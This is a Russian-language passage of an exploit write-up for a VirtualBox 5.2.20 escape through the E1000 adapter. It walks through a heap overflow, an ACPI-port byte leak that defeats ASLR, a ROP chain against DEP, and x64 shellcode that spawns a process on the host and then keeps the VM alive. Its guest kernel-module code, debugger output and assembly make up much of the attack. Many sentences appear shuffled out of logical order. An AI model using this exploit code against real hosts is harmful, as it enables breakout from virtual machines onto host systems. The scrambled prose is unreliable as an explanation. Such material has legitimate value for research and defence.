Здесь-то и появляется возможность применения write-примитива: поскольку расстояние между блоками кучи для виртуальных устройств не меняется, расстояние от массива EEPROM93C46.m_au16Data до поля ACPIState.u8SMBusBlkIdx фиксированно. Когда гостевая ОС исполняет процессорную инструкцию INB с аргументом 0x4107 для чтения одного байта из порта, обработчик берёт байт из массива au8SMBusBlkDat[32] по индексу u8SMBusBlkIdx и возвращает его гостю. Записывая два байта в ACPIState.u8SMBusBlkIdx, мы можем читать произвольные байты на расстоянии 255 байт относительно ACPIState.au8SMBusBlkDat.

Если посмотреть на структуру ACPIState, то видно, что массив находится почти в конце структуры, и за ним лежат разве что поле u8SMBusBlkIdx и несколько других полей, совершенно бесполезных для нас. Проблема в другом. Ну, нам не привыкать, поэтому посмотрим, что лежит в памяти за пределами структуры. Выходит, что читать из структуры ACPIState мы можем, да нечего.

gef➤ x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0: 0xffffe98100000090 0xfffd9b2000000000
0x7fc47008d4f0: 0x00007fc470067a00 0x00007fc470067a00
0x7fc47008d500: 0x00000000a0028a00 0x00000000000e0000
0x7fc47008d510: 0x00000000000e0fff 0x0000000000001000
0x7fc47008d520: 0x000000ff00000002 0x0000100000000000
0x7fc47008d530: 0x00007fc47008c358 0x00007fc44d6ecdc6
0x7fc47008d540: 0x0031000035944000 0x00000000000002b8
0x7fc47008d550: 0x00280001d3878000 0x0000000000000000
gef➤ x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6: "ACPI RSDP"
gef➤ vmmap VBoxDD.so
Start End Offset Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤ p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

Если мы побайтово с помощью примитивов считаем этот указатель и вычтем из него константу, то получим базовый адрес VBoxDD.so и таким образом обойдём ASLR. Оказывается, по смещению 0x58 от конца структуры ACPIState лежит указатель на строку, которая находится по определённому RVA от базы VBoxDD.so. К счастью, так оно и оказалось, по смещению 0x58 от конца ACPIState всегда лежит нужный указатель. Единственное, на что нам приходится надеяться, так это на то, что память за пределами структуры ACPIState не будет разной при каждом запуске виртуальной машины.

Information Leak

Будем переполнять кучу, перезаписывая структуру EEPROM93C46, затем стриггерим код EEPROM для записи индекса в структуру ACPIState, после чего выполним процессорную инструкцию INB(0x4107) для обращения к ACPI и чтения одного байта указателя. Теперь мы комбинируем две созданные нами уязвимости и эксплуатируем их для обхода ASLR. Всё это повторим восемь раз, каждый раз увеличивая индекс на единицу.

uint64_t stage_1_main(void* mmio, void* tx_ring) { printk(KERN_INFO PFX"##### Stage 1 #####\n"); // When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor // is sent back to the guest and handled right now via e1kHandleRxPacket. // When loopback mode is disabled data is sent to a network as usual. // We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer // in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and // the stack buffer. e1000_disable_loopback_mode(mmio); uint8_t leaked_bytes[8]; uint32_t i; for (i = 0; i < 8; i++) { stage_1_overflow_heap_buffer(mmio, tx_ring, i); leaked_bytes[i] = stage_1_leak_byte(); printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]); } uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes; uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA; printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr); printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base); return vboxdd_base;
}

Суть в том, что буфер переполняется в функции e1kHandleRxPacket, которая вызывается при обработке Tx-дескрипторов только тогда, когда включен loopback-режим. Как было сказано ранее, для того, чтобы уязвимость integer underflow не привела к stack buffer overflow, нужно определённым образом настроить регистры E1000. Мы отключаем этот режим, поэтому функция e1kHandleRxPacket становится недостижима. И это понятно: в данном режиме гость отправляет пакеты самому себе, поэтому после отправки они сразу же принимаются.

Обход DEP

Теперь можно включать loopback-режим и триггерить уязвимость stack buffer overflow. Мы обошли ASLR.

void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) { off_t buffer_pa; void* buffer_va; alloc_buffer(&buffer_pa, &buffer_va); stage_2_set_up_buffer(buffer_va, vboxdd_base); stage_2_trigger_overflow(mmio, tx_ring, buffer_pa); free_buffer(buffer_va);
} void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) { printk(KERN_INFO PFX"##### Stage 2 #####\n"); e1000_enable_loopback_mode(mmio); stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base); e1000_disable_loopback_mode(mmio);
}

Но защита DEP всё ещё на месте. Теперь, когда управление доходит до последней инструкции функции e1kHandleRxPacket, на стеке перезаписан адрес возврата, так что управление будет передано туда, куда угодно нам. Она обходится классическим способом построения цепочки ROP-гаджетов, которые выделяют исполняемую память, копируют в неё загрузчик шеллкода и вызывают его.

Шеллкод

Он копирует начало буфера, который вызвал переполнение, и кладёт рядом с собой. Загрузчик шеллкода предельно прост. В конце того буфера лежат адреса и данные для ROP-гаджетов, а в начале — сам шеллкод.

use64 start: lea rsi, [rsp - 0x4170]; push rax pop rdi add rdi, loader_size mov rcx, 0x800 rep movsb nop payload: ; Here the shellcode is to be loader_size = $ - start

Вот его первая половина: Теперь управление получает шеллкод.

use64 start: ; sys_fork mov rax, 58 syscall test rax, rax jnz continue_process_execution ; Initialize argv lea rsi, [cmd] mov [argv], rsi ; Initialize envp lea rsi, [env] mov [envp], rsi ; sys_execve lea rdi, [cmd] lea rsi, [argv] lea rdx, [envp] mov rax, 59 syscall ... cmd db '/usr/bin/xterm', 0
env db 'DISPLAY=:0.0', 0
argv dq 0, 0
envp dq 0, 0

Атакующий получает контроль над хостом в контексте ring 3. Делается fork и execve, что создаёт новый процесс /usr/bin/xtem.

Process Continuation

Это значит, что он не должен крашить программу, хотя понятно, что не всегда это возможно. Я считаю, что каждый эксплоит должен быть дописан до конца. Нам нужно, чтобы виртуальная машина могла продолжать функционировать, что обеспечивается второй половиной шеллкода.

continue_process_execution: ; Restore RBP mov rbp, rsp add rbp, 0x48 ; Skip junk add rsp, 0x10 ; Restore the registers that must be preserved according to System V ABI pop rbx pop r12 pop r13 pop r14 pop r15 ; Skip junk add rsp, 0x8 ; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown ; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL ; After: "E1000-Xmit" -> NULL ; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv" ; This was unnecessary on my testing machines but to be sure... mov rdi, [rbx] mov rax, 0x0 mov rcx, 0xA0 rep stosb ; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit" ; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") ; will be corrupted in MMHyperFree mov qword [rbx], 0x0 ; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted ret

Поскольку нет ни шансов, ни целесообразности вычислять все данные, которые были перезаписаны ROP-гаджетами, мы сделаем то, что обычно и делается: прыгнем на несколько фреймов вверх и продолжим исполнение, как будто все вызванные функции уже завершились.
Схематично стек вызовов при возврате из e1kHandleRxPacket выглядит так: Суть в том, что при переполнении буфера на стеке мы перезаписали много данных, необходимых гипервизору для функционирования при возврате из функции e1kHandleRxPacket.

#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

Из шеллкода будем прыгать прямо в e1kR3NetworkDown_XmitPending, которая больше ничего не делает и возвращает управление вызвавшей её функции гипервизора:

static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface)
{ PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown); /* Resume suspended transmission */ STATUS &= ~STATUS_TXOFF; e1kXmitPending(pThis, true /*fOnWorkerThread*/);
}

Теперь со стека забираются регистры RBX, R12, R13, R14 и R15, т.к. Шеллкод добавляет 0x48 к регистру RBP, чтобы он стал таким, каким должен быть в функции e1kR3NetworkDown_XmitPending. Если этого не сделать, гипервизор упадёт из-за невалидных указателей в этих регистрах. в соответствии с System V ABI каждая вызываемая функция должна сохранять их нетронутыми.

Но если попытаться выключить её, получим access violation в PDMR3QueueDestroyDevice. На этом можно было бы остановиться — виртуальная машина больше не крашится и продолжает нормально работать. последние 16 байт в буфере. Причина в том что, при переполнении кучи мы перезаписали важную структуру данных PDMQUEUE, причём перезатирают её последние два указателя на ROP-гаджеты, т.е. Это значит, что быстро от ошибки не отделаться. Сначала я безуспешно пытался уменьшить размер ROP-цепочки, но потом вручную в отладчике подставил правильные данные и всё равно получил краш.

Перезаписываются данные в предпоследнем элементе списка, модифицируя указатель на последний элемент. Структура данных, которая перезатирается — связанный список. Идея по исправлению ошибки оказалась проста:

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After: "E1000-Xmit" -> NULL

Избавившись от двух последних элементов, виртуальная машина может спокойно выключаться.

Демо

Показать больше

Похожие публикации

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»